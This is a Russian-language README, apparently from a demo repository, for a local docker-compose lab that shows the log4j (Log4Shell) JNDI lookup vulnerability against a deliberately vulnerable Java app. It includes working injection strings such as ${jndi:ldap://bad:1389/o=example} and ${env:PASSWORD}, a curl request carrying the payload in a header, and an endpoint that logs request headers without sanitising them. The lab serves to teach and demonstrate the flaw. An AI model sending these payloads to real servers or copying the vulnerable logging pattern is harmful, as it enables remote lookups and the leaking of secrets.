
Пример настройки docker-compose, показывающий, как работает этот эксплойт.
В этом репозитории есть рабочий пример эксплуатации недавней уязвимости log4j. Он не выполняет реальное удалённое выполнение кода, но показывает, насколько легко злоумышленник может заставить уязвимое приложение обратиться к своему собственному LDAP-серверу.
Здесь используется отличное уязвимое демо-приложение log4j, созданное christophetd: https://github.com/christophetd/log4shell-vulnerable-app
Эта уязвимость злоупотребляет функциональностью lookup в log4j, в частности jndi, которая позволяет log4j выполнять запросы к внешним хостам для получения данных. Это может быть использовано для чего угодно: от логирования чувствительных переменных окружения до удалённого выполнения кода.
Поиск (lookup) выполняется для любого текста, заключённого в ${}, при вызове логгера. Например,
${jndi:ldap://someldapserver:1389/o=example}
выполнит запрос к этому LDAP-серверу с заданным запросом и выведет результат.
Более простой пример, не использующий jndi, но всё равно опасный:
${env:PASSWORD}
Это выведет содержимое этой переменной окружения в логи. Тот, у кого есть доступ к этим логам, сможет извлечь чувствительные данные приложения.
Код log4j, который позволяет эксплуатировать эту уязвимость, довольно прост. Вам просто нужно вызвать логгер для записи свойства запроса без санитизации. Например, можно логировать содержимое заголовка User-Agent.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
Сначала соберите локальный LDAP-сервер:
docker build -t ldapnode .
После сборки поднимите весь стек командой
docker-compose up
Затем можно выполнить запрос к приложению, используя заголовок x-api-version для внедрения lookup-выражения:
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
С этим запросом в логах docker-compose вы увидите, что LDAP-сервер был вызван:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
Обратитесь к этой документации для получения способов устранения уязвимости.